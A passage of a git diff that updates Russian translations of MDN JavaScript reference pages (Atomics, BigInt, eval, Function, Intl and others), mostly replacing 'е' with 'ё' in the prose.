        wait() и wake() методы моделируются на основе futexes ("fast user-space mutex" - быстрый мьютекс пользовательского пространства) Linux и предоставляют собой способы ожидания момента, когда определённое состояние не станет true, и обычно используется как блокирующие конструкции.
        
 
 
        
  
        {{jsxref("Atomics.wait()")}}
        
  
        
- 
        Проверяет, содержится в указанной позиции массива все еще представленное значение и спит в ожидании или тайм-аут. Возвращает "ok", "not-equal" или "timed-out". Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают wait() в главном потоке браузера).
        
+ 
        Проверяет, содержится в указанной позиции массива все ещё представленное значение и спит в ожидании или тайм-аут. Возвращает "ok", "not-equal" или "timed-out". Если ожидание не разрешено в вызывающем агенте, тогда выбросит ошибку исключения (большинство браузеров не разрешают wait() в главном потоке браузера).
        
  
        
  
        {{jsxref("Atomics.wake()")}}
        
  
        Пробуждает некоторых агентов, которые спят в очереди ожидания в указанной позиции массива. Возвращает количество агентов, которые были разбужены.
        
@@ -145,7 +145,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics
 
 
        Похожие заметки
        
 
-
        До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были еще реализованы. Изменения между Firefox v. 46 и v. 48:
        
+
        До SpiderMonkey 48 {{geckoRelease(48)}}, финальные имена API и семантика не были ещё реализованы. Изменения между Firefox v. 46 и v. 48:
        
 
 
          
  
        • Методы Atomics.futexWakeOrRequeue() и Atomics.fence() полностью удалены ({{bug(1259544)}} и {{bug(1225028)}}).
          • 
diff --git a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
index d3a9bbd3b4..05a2727be0 100644
--- a/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
+++ b/files/ru/web/javascript/reference/global_objects/atomics/sub/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
 ---
 
          {{JSRef}}
          
 
-
          Статический метод Atomics.sub() вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдет, пока измененное значение не будет записано обратно.
          
+
          Статический метод Atomics.sub() вычитает представленное значение из текущего по указанной позиции в массиве и возвращает предыдущее значение в этой позиции. Эта атомарная операция гарантирует, что никакой другой записи не произойдёт, пока изменённое значение не будет записано обратно.
          
 
 
          Синтаксис
          
 
@@ -16,7 +16,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Atomics/sub
 
 
          
  
          typedArray
          
- 
          Разделенный массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
          
+ 
          Разделённый массив целых чисел. {{jsxref("Int8Array")}}, {{jsxref("Uint8Array")}}, {{jsxref("Int16Array")}}, {{jsxref("Uint16Array")}}, {{jsxref("Int32Array")}} или {{jsxref("Uint32Array")}}.
          
  
          index
          
  
          Позиция в typedArray для добавления value.
          
  
          value
          
diff --git a/files/ru/web/javascript/reference/global_objects/bigint/index.html b/files/ru/web/javascript/reference/global_objects/bigint/index.html
index c8e43137bf..108df340f7 100644
--- a/files/ru/web/javascript/reference/global_objects/bigint/index.html
+++ b/files/ru/web/javascript/reference/global_objects/bigint/index.html
@@ -10,14 +10,14 @@ translation_of: Web/JavaScript/Reference/Global_Objects/BigInt
 ---
 
          {{JSRef}}
          
 
-
          BigInt это встроенный объект, который предоставляет способ представлять целые числа больше 253 - 1, наибольшего числа, которое JavaScript может надежно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.
          
+
          BigInt это встроенный объект, который предоставляет способ представлять целые числа больше 253 - 1, наибольшего числа, которое JavaScript может надёжно представить с {{JSxRef("Number")}} примитивом. Это максимальное значение можно получить, обратившись к {{JSxRef("Number.MAX_SAFE_INTEGER")}}.
          
 
 
          
 
          
 
 
          Описание
          
 
-
          BigInt создается путем добавления n в конец целочисленного литерала — 10n — или вызовом функции BigInt().
          
+
          BigInt создаётся путём добавления n в конец целочисленного литерала — 10n — или вызовом функции BigInt().
          
 
 
          const theBiggestInt = 9007199254740991n;
 
@@ -44,7 +44,7 @@ const hugeBin = BigInt("0b11111111111111111111111111111111111111111111111111111"
 
 
          Тип
          
 
-
          При проверке с использованием оператора typeof, BigInt выдает тип "bigint":
          
+
          При проверке с использованием оператора typeof, BigInt выдаёт тип "bigint":
          
 
 
          typeof 1n === 'bigint'; // true
 typeof BigInt('1') === 'bigint'; // true
@@ -57,7 +57,7 @@ typeof BigInt('1') === 'bigint'; // true
 
 
          Операторы
          
 
-
          Следующие операторы могут использоваться с BigInt (или объектом-оберткой BigInt): +, *, -, **, %.
          
+
          Следующие операторы могут использоваться с BigInt (или объектом-обёрткой BigInt): +, *, -, **, %.
          
 
 
          Побитовые операции также поддерживаются, кроме >>> (сдвиг вправо с заполнением нулями).
          
 
@@ -91,7 +91,7 @@ bigN * -1n
 
          Оператор / также работает, как и ожидалось, с целыми числами. Однако, поскольку это BigInt, эта операция будет округляться в меньшую сторону, то есть она не будет возвращать какие-либо дробные цифры.
          
 
 
          
-
          Результат операции с дробным результатом будет округлен в меньшую сторону при использовании  BigInt.
          
+
          Результат операции с дробным результатом будет округлён в меньшую сторону при использовании  BigInt.
          
 
          
 
 
          const expected = 4n / 2n;
@@ -138,7 +138,7 @@ mixed.sort();
 // ↪ [-12n, 0, 0n, 10, 4n, 4, 6]
 
          
 
-
          Обратите внимание, что сравнения с обьектом-оберткой BigInt действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:
          
+
          Обратите внимание, что сравнения с обьектом-обёрткой BigInt действуют как с другими объектами, указывая на равенство только когда сравнивается идентичный экземпляр объекта:
          
 
 
          0n === Object(0n); // false
 Object(0n) === Object(0n); // false
@@ -236,7 +236,7 @@ Boolean(12n)
 
 
          Примеры
          
 
-
          Расчет простых чисел
          
+
          Расчёт простых чисел
          
 
 
          // Возвращает true, если BigInt — простое число
 function isPrime(p) {
diff --git a/files/ru/web/javascript/reference/global_objects/date/index.html b/files/ru/web/javascript/reference/global_objects/date/index.html
index a6ce5896e1..4eb5876bd2 100644
--- a/files/ru/web/javascript/reference/global_objects/date/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/index.html
@@ -181,7 +181,7 @@ yourFunctionReturn = printElapsedTime(yourFunction);
 
 
          var seconds = Math.floor(Date.now() / 1000);
          
 
-
          В этом случае важно возвращать только целое число (так что простое деление не подойдет), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).
          
+
          В этом случае важно возвращать только целое число (так что простое деление не подойдёт), а также возвращать только фактически прошедшие секунды (поэтому этот код использует {{jsxref ("Math.floor ()")}} а не {{jsxref ("Math.round ()")}}).
          
 
 
          Спецификации
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
index 3cf8647e14..e9718854f2 100644
--- a/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/setminutes/index.html
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/setMinutes
 
 
          Возвращаемое значение
          
 
-
          Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновленной датой.
          
+
          Количество миллисекунд между 1 января 1970 00:00:00 UTC и обновлённой датой.
          
 
 
          Описание
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
index f603359b99..a4991d3e79 100644
--- a/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
+++ b/files/ru/web/javascript/reference/global_objects/date/toutcstring/index.html
@@ -21,7 +21,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Date/toUTCString
 
          Нет.
          
 
 
          Описание
          
-
          Значение, возвращаемое методом toUTCString(), является человеко-читаемой строкой в часовом поясе UTC. Формат возвращаемого значения зависит от платформы. Наиболее распространенным значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.
          
+
          Значение, возвращаемое методом toUTCString(), является человеко-читаемой строкой в часовом поясе UTC. Формат возвращаемого значения зависит от платформы. Наиболее распространённым значением является форматированная по RFC-1123 временная метка, которая является немного обновлённой версией временной метки RFC-822.
          
 
 
          Примеры
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
index 8e7562ad05..98b6336f42 100644
--- a/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
+++ b/files/ru/web/javascript/reference/global_objects/decodeuricomponent/index.html
@@ -36,7 +36,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/decodeURIComponent
 
 
          Исключения
          
 
-
          При неправильном использовании выдает исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").
          
+
          При неправильном использовании выдаёт исключение {{jsxref("URIError")}} ("неверный формат последовательности URI").
          
 
 
          Описание
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
index 9b6c6d7382..65e8cfda73 100644
--- a/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
+++ b/files/ru/web/javascript/reference/global_objects/encodeuri/index.html
@@ -82,7 +82,7 @@ console.log(encodeURIComponent('\uD800'));
 // один низкий суррогат бросит "URIError: malformed URI sequence"
 console.log(encodeURIComponent('\uDFFF'));
          
 
-
          Также заметим, что следуя наиболее свежей RFC3986 для URL, которая делает квадратные скобки защищенными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:
          
+
          Также заметим, что следуя наиболее свежей RFC3986 для URL, которая делает квадратные скобки защищёнными (для IPv6) и таким образом не кодирует, когда формирование чего-либо, не являющегося частью URL (такое как домен), следующий сниппет поможет:
          
 
 
          function fixedEncodeURI (str) {
     return encodeURI(str).replace(/%5B/g, '[').replace(/%5D/g, ']');
diff --git a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
index a0c6b028db..7493e53632 100644
--- a/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
+++ b/files/ru/web/javascript/reference/global_objects/encodeuricomponent/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/encodeURIComponent
 ---
 
          {{jsSidebar("Objects")}}
          
 
-
          encodeURIComponent() - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определенной последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8  (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).
          
+
          encodeURIComponent() - метод, кодирующий компонент универсального идентификатора ресурса (URI) заменой каждой определённой последовательности символов одной, двумя, тремя или четырьмя последовательностями символов, представленных в кодировке UTF-8  (будет только 4 управляющих последовательности для символов, состоящих из 2 "суррогатных" символов).
          
 
 
          Синтаксис
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/error/index.html b/files/ru/web/javascript/reference/global_objects/error/index.html
index 90a108b2a4..6ac3ffc666 100644
--- a/files/ru/web/javascript/reference/global_objects/error/index.html
+++ b/files/ru/web/javascript/reference/global_objects/error/index.html
@@ -37,7 +37,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Error
 
 
          Использование как функции
          
 
-
          Когда Error используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает Error объект. Следовательно простой вызов Error произведет тот же результат, что и конструктор Error объявленный через new.
          
+
          Когда Error используется как функции-- без {{jsxref("Operators/new", "new")}}, она возвращает Error объект. Следовательно простой вызов Error произведёт тот же результат, что и конструктор Error объявленный через new.
          
 
 
          // this:
 const x = Error('I was created using a function call!');
diff --git a/files/ru/web/javascript/reference/global_objects/escape/index.html b/files/ru/web/javascript/reference/global_objects/escape/index.html
index edc41f8259..05ae768fd4 100644
--- a/files/ru/web/javascript/reference/global_objects/escape/index.html
+++ b/files/ru/web/javascript/reference/global_objects/escape/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/escape
 ---
 
          {{jsSidebar("Objects")}} {{deprecated_header}}
          
 
-
          Устаревший метод escape() возвращает новую строку, в которой определенные символы заменены шестнадцатеричной управляющей последовательностью.  Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.
          
+
          Устаревший метод escape() возвращает новую строку, в которой определённые символы заменены шестнадцатеричной управляющей последовательностью.  Используйте методы {{jsxref("encodeURI")}} или {{jsxref("encodeURIComponent")}} вместо него.
          
 
 
          Синтаксис
          
 
diff --git a/files/ru/web/javascript/reference/global_objects/eval/index.html b/files/ru/web/javascript/reference/global_objects/eval/index.html
index 0c32530435..49bec21796 100644
--- a/files/ru/web/javascript/reference/global_objects/eval/index.html
+++ b/files/ru/web/javascript/reference/global_objects/eval/index.html
@@ -44,7 +44,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/eval
 
 
          eval() можно использовать для вычисления значения арифметического выражения, записанного в строковом виде, на более поздней стадии исполнения. Предположим, существует переменная x. Можно отложить вычисление выражения, в котором содержится х, если присвоить переменной это выражение в виде строки (допустим, "3 * x + 2"), а затем вызвать eval() в более поздней точке кода.
          
 
-
          Если аргумент, переданный eval(), не является строкой, eval() возвращает его неизменным. В следующем примере определен конструктор String, и eval() не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа String.
          
+
          Если аргумент, переданный eval(), не является строкой, eval() возвращает его неизменным. В следующем примере определён конструктор String, и eval() не вычисляет значение выражения, записанного в строковом виде, а возвращает объект типа String.
          
 
 
          eval(new String("2 + 2")); // возвращает объект типа String, содержащий "2 + 2"
 eval("2 + 2");             // возвращает 4
@@ -62,7 +62,7 @@ eval(expression.toString());
   var x = 2, y = 4;
   console.log(eval("x + y"));  // Прямой вызов, использует локальную области видимости, результат - 6
   var geval = eval;
-  console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определен
+  console.log(geval("x + y")); // Непрямой вызов, использует глобальную область видимости, бросит ReferenceError, т.к. `x` - не определён
 }
 
          
 
@@ -93,7 +93,7 @@ var result = obj[ propname ];  //  obj[ "a" ] то же, что и obj.a
 
 
          Используйте функции вместо исполнения фрагментов кода
          
 
-
          У JavaScript функции первого класса, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учетом этого, так что вы можете (и вам следует) писать:
          
+
          У JavaScript функции первого класса, что значит, что вы можете передавать функции как аргументы, хранить их в переменных или свойствах объектов и так далее. Многие DOM API созданы с учётом этого, так что вы можете (и вам следует) писать:
          
 
 
          // вместо setTimeout(" ... ", 1000) :
 setTimeout(function() { ... }, 1000);
@@ -111,7 +111,7 @@ elt.addEventListener("click", function() { ... } , false); 
          
 
 
          Передавайте данные вместо кода
          
 
-
          К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определенные в XPath, а не JS коде.
          
+
          К примеру, расширение, созданное изменять содержимое веб-страниц, должно иметь правила, определённые в XPath, а не JS коде.
          
 
 
          Выполняйте код с ограниченными правами
          
 
@@ -132,7 +132,7 @@ eval(z);           // вернёт 42
 
 
          Использование eval для исполнения строки, содержащей операторы JavaScript
          
 
-
          Следующий пример использует eval() для получения значения выражения str. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, eval() будет считать выражения выполненными, а также это установит значение выражению переменной z и вернет его.
          
+
          Следующий пример использует eval() для получения значения выражения str. Эта строка состоит из JavaScript выражений, печатающих в консоль, и, если x равен пяти, призывающих z значение 42, или 0 в противном случае. Когда второе выражение будет исполнено, eval() будет считать выражения выполненными, а также это установит значение выражению переменной z и вернёт его.
          
 
 
          var x = 5;
 var str = "if (x == 5) {console.log('z is 42'); z = 42;} else z = 0; ";
@@ -141,7 +141,7 @@ console.log("z is ", eval(str));
          
 
 
          Последнее выражение выполняется
          
 
-
          eval() вернет значение последнего выполняемого выражения
          
+
          eval() вернёт значение последнего выполняемого выражения
          
 
 
          var str = "if ( a ) { 1+1; } else { 1+2; }";
 var a = true;
@@ -202,7 +202,7 @@ var fct2 = eval(fctStr2)  // вернёт функцию
 
          Gecko-специфичные замечания
          
 
 
            
- 
          • Исторически eval() имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удален из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.
            • 
+ 
          • Исторически eval() имел второй необязательный аргумент, указывающий на то, в контексте какого объекта будет выполняться выражение. Этот аргумент не был стандартизован и был удалён из SpiderMonkey в Gecko 1.9.1 (Firefox 3.5). См. {{bug(442333)}}.
            • 
 
          
 
 
          Смотрите также
          
diff --git a/files/ru/web/javascript/reference/global_objects/float32array/index.html b/files/ru/web/javascript/reference/global_objects/float32array/index.html
index dcd127face..f8fbb0c603 100644
--- a/files/ru/web/javascript/reference/global_objects/float32array/index.html
+++ b/files/ru/web/javascript/reference/global_objects/float32array/index.html
@@ -185,7 +185,7 @@ var z = new Float32Array(buffer, 0, 4);
 
 
          Заметки по совместимости
          
 
-
          Начиная с ECMAScript 2015 (ES6), Float32Array конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов Float32Array конструктора как функцию приведет к исключению {{jsxref("TypeError")}}.
          
+
          Начиная с ECMAScript 2015 (ES6), Float32Array конструктор обязательно должен вызываться с ключевым словом {{jsxref("Operators/new", "new")}}. Вызов Float32Array конструктора как функцию приведёт к исключению {{jsxref("TypeError")}}.
          
 
 
          var dv = Float32Array([1, 2, 3]);
 // TypeError: calling a builtin Float32Array constructor
diff --git a/files/ru/web/javascript/reference/global_objects/function/bind/index.html b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
index d153dc9e5c..78061cd192 100644
--- a/files/ru/web/javascript/reference/global_objects/function/bind/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/bind/index.html
@@ -32,18 +32,18 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function/bind
 
 
          Описание
          
 
-
          Метод bind() создаёт новую "привязанную функцию" (ПФ).  ПФ - это "необычный  функциональный объект" ( термин из  ECMAScript 6  ), который является оберткой над исходным  функциональным объектом. Вызов  ПФ   приводит к исполнению кода обернутой функции.
          
+
          Метод bind() создаёт новую "привязанную функцию" (ПФ).  ПФ - это "необычный  функциональный объект" ( термин из  ECMAScript 6  ), который является обёрткой над исходным  функциональным объектом. Вызов  ПФ   приводит к исполнению кода обёрнутой функции.
          
 
 
          ПФ  имеет следующие внутренние ( скрытые ) свойства:
          
 
 
            
  
          • [[BoundTargetFunction]] - оборачиваемый  (целевой )  функциональный объект
            • 
- 
          • [[BoundThis]] - значение, которое всегда передается в качестве значения   this при вызове обернутой функции.
            • 
+ 
          • [[BoundThis]] - значение, которое всегда передаётся в качестве значения   this при вызове обёрнутой функции.
            • 
  
          • [[BoundArguments]] - список значений, элементы которого используются в качестве первого аргумента при вызове оборачиваемой функции.
            • 
  
          • [[Call]] - внутренний метод. Выполняет код (функциональное выражение), связанный с функциональным объектом. 
            • 
 
          
 
-
          Когда ПФ вызывается, исполняется ее внутренний метод  [[Call]]  со следующими аргументами  Call(target, boundThis, args).
          
+
          Когда ПФ вызывается, исполняется её внутренний метод  [[Call]]  со следующими аргументами  Call(target, boundThis, args).
          
 
 
            
  
          • target   -    [[BoundTargetFunction]];
            • 
@@ -163,7 +163,7 @@ emptyObj.x + ',' + emptyObj.y;
 
 
            Пример: создание сокращений
            
 
-
            Метод bind() также полезен в случаях, если вы хотите создать сокращение для функции, требующей определенное значение this.
            
+
            Метод bind() также полезен в случаях, если вы хотите создать сокращение для функции, требующей определённое значение this.
            
 
 
            Возьмём, например, метод {{jsxref("Array.prototype.slice")}}, который вы можете использовать для преобразования массивоподобного объекта в настоящий массив. Вы можете создать подобное сокращение:
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/function/index.html b/files/ru/web/javascript/reference/global_objects/function/index.html
index 4b6b4f5825..a097213c69 100644
--- a/files/ru/web/javascript/reference/global_objects/function/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/index.html
@@ -11,7 +11,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Function
 
 
            {{JSRef}}
            
 
-
            Function constructor создает новый объект Function. Вызов constructor создает функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создает функции, которые выполняются только в глобальной области..
            
+
            Function constructor создаёт новый объект Function. Вызов constructor создаёт функцию динамически, но страдает от проблем безопасности и аналогичных (но гораздо менее значительных) проблем производительности {{jsxref("eval")}}. Однако, в отличие от eval, конструктор функций создаёт функции, которые выполняются только в глобальной области..
            
 
 
            {{EmbedInteractiveExample("pages/js/function-constructor.html")}}
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/function/name/index.html b/files/ru/web/javascript/reference/global_objects/function/name/index.html
index 82a59765f2..b421c428a8 100644
--- a/files/ru/web/javascript/reference/global_objects/function/name/index.html
+++ b/files/ru/web/javascript/reference/global_objects/function/name/index.html
@@ -44,7 +44,7 @@ alert(doSomething.name); // выведет "doSomething"
 
 
            Предполагаемые имена функций
            
 
-
            Переменные и методы могут предположить название анонимной функции из ее синтаксической позиции  (new in ECMAScript 2015).
            
+
            Переменные и методы могут предположить название анонимной функции из её синтаксической позиции  (new in ECMAScript 2015).
            
 
 
            var f = function() {};
 var object = {
@@ -79,7 +79,7 @@ alert(object.someMethod.name); //someMethod
 
 
            Для изменения name можно использовать {{jsxref("Object.defineProperty()")}}.
            
 
-
            Сокращенные имена методов
            
+
            Сокращённые имена методов
            
 
 
            var o = {
   foo(){}
@@ -129,7 +129,7 @@ console.log(fooInstance.constructor.name); // logs "Foo"
 }
 
            
 
-
            Со static name() методом Foo.name больше не содержит название класса, но отсылает к функции name(). Приведенное выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в  ES5:
            
+
            Со static name() методом Foo.name больше не содержит название класса, но отсылает к функции name(). Приведённое выше определение класса в ES2015 будет вести себя в Chrome и Firefx как в  ES5:
            
 
 
            function Foo() {}
 Object.defineProperty(Foo, 'name', { writable: true });
@@ -189,7 +189,7 @@ if (b.constructor.name === 'Foo') {
   console.log('Oops!');
 }
            
 
-
            В несжатой версии код выполняется ожидаемо "'foo' is an instance of 'Foo'". В то время, как в сжатой версии он ведет себя иначе. Если вы полагаетесь на Function.name, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определенного имени.
            
+
            В несжатой версии код выполняется ожидаемо "'foo' is an instance of 'Foo'". В то время, как в сжатой версии он ведёт себя иначе. Если вы полагаетесь на Function.name, как в примере, то убедитесь, что pipeline не меняет код или не ожидайте от функции определённого имени.
            
 
 
diff --git a/files/ru/web/javascript/reference/global_objects/generator/index.html b/files/ru/web/javascript/reference/global_objects/generator/index.html
index 8e530ff328..41498f0dfa 100644
--- a/files/ru/web/javascript/reference/global_objects/generator/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generator/index.html
@@ -40,7 +40,7 @@ console.log(generator().next().value); // 1
            {{jsxref("Generator.prototype.return()")}}
            Возвращает заданное значение и заканчивает генератор.
            {{jsxref("Generator.prototype.throw()")}}
            
- 
            Выдает ошибку генератора.
            
+ 
            Выдаёт ошибку генератора.
            Пример
            
diff --git a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
index cfdf5d3bbc..77b096e858 100644
--- a/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generator/throw/index.html
@@ -26,11 +26,11 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Generator/throw
  
          • done (boolean)
 
   
              
-   
            • Имеет значение true если iterator прошел конец итерируемой последовательности. В этом случае value опционально определяется выражением return value внутри итератора .
              • 
+   
            • Имеет значение true если iterator прошёл конец итерируемой последовательности. В этом случае value опционально определяется выражением return value внутри итератора .
              • 
    
            • Имеет значение false если iterator имеет возможность вернуть следующее значение последовательности. Это равносильно когда свойство done не указано.
              • 
   
            
  
            • 
- 
          • value - любое JavaScript значение,  возвращенное итератором. Может быть проигнорировано, когда done === true.
            • 
+ 
          • value - любое JavaScript значение,  возвращённое итератором. Может быть проигнорировано, когда done === true.
            • Примеры
            
diff --git a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
index 4cce9504e9..56264cb71d 100644
--- a/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
+++ b/files/ru/web/javascript/reference/global_objects/generatorfunction/index.html
@@ -5,7 +5,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
 ---
 
            {{JSRef}}
            
 
-
            GeneratorFunction constructor создает новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически GeneratorFunction объект.
            
+
            GeneratorFunction constructor создаёт новый {{jsxref("Statements/function*", "generator function")}} объект. В JavaScript каждая функция-генератор - это фактически GeneratorFunction объект.
            Обратите внимание, что GeneratorFunction - это не глобальный объект. Он может быть получен при выполнении следующего кода.
            
 
@@ -20,7 +20,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/GeneratorFunction
 
 
            
  
            arg1, arg2, ... argN
            
- 
            Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделенных запятыми; например "x", "theValue", или "a,b".
            
+ 
            Имена, используемые функцией как имена формальных аргументов. Каждый должен быть строкой, которая соответствует правильному JavaScript идентификатору или списком таких строк, разделённых запятыми; например "x", "theValue", или "a,b".
            
  
            functionBody
            
  
            A string containing the JavaScript statements comprising the function definition.
            
 
            
diff --git a/files/ru/web/javascript/reference/global_objects/globalthis/index.html b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
index ce4cb48419..0f12223b46 100644
--- a/files/ru/web/javascript/reference/global_objects/globalthis/index.html
+++ b/files/ru/web/javascript/reference/global_objects/globalthis/index.html
@@ -83,6 +83,6 @@ if (typeof globals.setTimeout !== 'function') {
 
 
            Прогресс реализации
            
 
-
            В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция еще не достигла стабильности в разных браузерах. Данные генерируются путем запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.
            
+
            В следующей таблице приведено ежедневное состояние реализации этой функции, поскольку эта функция ещё не достигла стабильности в разных браузерах. Данные генерируются путём запуска соответствующих тестов функциональности в Test262, стандартном наборе тестов JavaScript, в ночной сборке или в последней версии движка JavaScript каждого браузера.
            {{EmbedTest262ReportResultsTable("globalThis")}}
            
diff --git a/files/ru/web/javascript/reference/global_objects/intl/index.html b/files/ru/web/javascript/reference/global_objects/intl/index.html
index 4316488c58..cb0df3d472 100644
--- a/files/ru/web/javascript/reference/global_objects/intl/index.html
+++ b/files/ru/web/javascript/reference/global_objects/intl/index.html
@@ -47,7 +47,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/Intl
  
          • "zh-Hans-CN": упрощённый китайский, используемый в Китае.
            • 
 
-
            Подметки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в Реестре языковых подметок IANA.
            
+
            Подмётки, определяющие языки, письменности, страны (регионы) и (используется не часто) варианты в языковых метках BCP 47 могут быть найдены в Реестре языковых подмёток IANA.
            BCP 47 также позволяет использовать расширения, и одно из них имеет значение для функций интернационализации JavaScript: это расширение "u" (Unicode). Оно может использоваться для запрашивания настраиваемого языка-зависимого поведения объектов {{jsxref("Global_Objects/Collator", "Collator")}}, {{jsxref("Global_Objects/NumberFormat", "NumberFormat")}} или {{jsxref("Global_Objects/DateTimeFormat", "DateTimeFormat")}}. Примеры:
            
 
diff --git a/files/ru/web/javascript/reference/global_objects/isfinite/index.html b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
index eb1c6ee465..dcce428701 100644
--- a/files/ru/web/javascript/reference/global_objects/isfinite/index.html
+++ b/files/ru/web/javascript/reference/global_objects/isfinite/index.html
@@ -46,7 +46,7 @@ translation_of: Web/JavaScript/Reference/Global_Objects/isFinite
 
 
            isFinite это функция верхнего уровня и она не связана ни с одним объектом.
            
 
-
            Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция isFinite исследует число в своем параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернет false; иначе возвращается true.
            
+
            Вы можете использовать эту функцию там, где требуется определить, является ли аргумент конечным числом. Функция isFinite исследует число в своём параметре. Если аргумент является NaN, положительной или отрицательной бесконечностью, метод вернёт false; иначе возвращается true.
            Примеры
            
 
@@ -59,7 +59,7 @@ isFinite(2e64);      // true
 
 
 isFinite("0");       // true, но было бы false если использовать
-                     // более надежный вариант Number.isFinite("0")
+                     // более надёжный вариант Number.isFinite("0")
 
            Спецификации
            
diff --git a/files/ru/web/javascript/reference/global_objects/map/delete/index.html b/files/ru/web/javascript/reference/global_objects/map/delete/index.html
index f9e6cb1cf4..dfa69f8edb 100644
--- a/files/ru/web/javascript/reference/global_objects/map/delete/index.html
